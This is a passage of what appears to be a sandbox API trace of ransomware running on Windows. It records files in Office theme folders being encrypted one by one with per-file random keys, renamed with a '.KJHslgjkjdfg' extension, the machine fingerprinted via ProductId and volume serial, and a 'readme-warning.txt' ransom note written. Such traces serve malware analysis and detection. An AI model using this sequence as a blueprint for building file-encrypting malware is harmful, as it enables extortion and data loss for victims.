pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x12060, dwBufLen=0x12060 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x12060) returned 1 [0180.159] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.159] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12060, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x12060, lpOverlapped=0x0) returned 1 [0180.160] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.160] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x12134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.160] SetEndOfFile (hFile=0x12c) returned 1 [0180.163] GetProcessHeap () returned 0x2ef0000 [0180.163] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.163] GetProcessHeap () returned 0x2ef0000 [0180.163] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0180.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.kjhslgjkjdfg")) returned 1 [0180.189] CloseHandle (hObject=0x12c) returned 1 [0180.190] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0180.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.191] GetProcessHeap () returned 0x2ef0000 [0180.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0180.191] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0180.191] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0180.191] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0180.192] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.192] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.192] GetProcessHeap () returned 0x2ef0000 [0180.192] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0180.192] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0180.192] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.192] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0180.193] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0180.193] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.193] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.193] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.193] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x239, lpOverlapped=0x0) returned 1 [0180.193] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x240, dwBufLen=0x240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x240) returned 1 [0180.194] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.194] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x240, lpOverlapped=0x0) returned 1 [0180.194] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.194] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.194] SetEndOfFile (hFile=0x12c) returned 1 [0180.196] GetProcessHeap () returned 0x2ef0000 [0180.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.196] GetProcessHeap () returned 0x2ef0000 [0180.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0180.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.kjhslgjkjdfg")) returned 1 [0180.201] CloseHandle (hObject=0x12c) returned 1 [0180.201] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0180.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.214] GetProcessHeap () returned 0x2ef0000 [0180.214] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0180.214] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0180.214] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0180.214] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0180.256] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.256] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.256] GetProcessHeap () returned 0x2ef0000 [0180.256] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0180.256] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0180.256] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.256] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0180.257] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0180.257] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0180.257] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0180.257] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0180.257] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0180.257] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.257] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.257] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.257] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcf7b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xcf7b, lpOverlapped=0x0) returned 1 [0180.461] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xcf80, dwBufLen=0xcf80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xcf80) returned 1 [0180.461] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.461] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xcf80, lpOverlapped=0x0) returned 1 [0180.462] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.462] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xd054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.462] SetEndOfFile (hFile=0x12c) returned 1 [0180.464] GetProcessHeap () returned 0x2ef0000 [0180.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.464] GetProcessHeap () returned 0x2ef0000 [0180.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0180.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0180.467] CloseHandle (hObject=0x12c) returned 1 [0180.467] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0180.467] GetProcessHeap () returned 0x2ef0000 [0180.467] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0180.467] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.467] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0180.467] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.467] GetProcessHeap () returned 0x2ef0000 [0180.467] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0180.468] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.468] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0180.468] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.468] GetProcessHeap () returned 0x2ef0000 [0180.468] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0180.468] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.468] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0180.469] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.469] GetProcessHeap () returned 0x2ef0000 [0180.469] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0180.469] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.469] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0180.469] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.470] GetProcessHeap () returned 0x2ef0000 [0180.470] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0180.470] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.470] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0180.470] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.470] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0180.470] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0180.470] RegCloseKey (hKey=0x12c) returned 0x0 [0180.470] GetProcessHeap () returned 0x2ef0000 [0180.470] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0180.470] GetProcessHeap () returned 0x2ef0000 [0180.470] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0180.470] GetProcessHeap () returned 0x2ef0000 [0180.470] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0180.470] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.470] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0180.470] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.470] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.470] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.471] GetProcessHeap () returned 0x2ef0000 [0180.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0180.471] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.471] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.471] GetProcessHeap () returned 0x2ef0000 [0180.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0180.471] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\readme-warning.txt") returned 83 [0180.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.471] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0180.472] CloseHandle (hObject=0x12c) returned 1 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.473] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.473] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.473] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.473] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.473] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.473] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0180.473] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.473] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0180.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.473] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0180.473] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.473] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0180.473] GetProcessHeap () returned 0x2ef0000 [0180.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f10788 [0180.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.504] GetProcessHeap () returned 0x2ef0000 [0180.504] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0180.504] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0180.504] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0180.504] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, 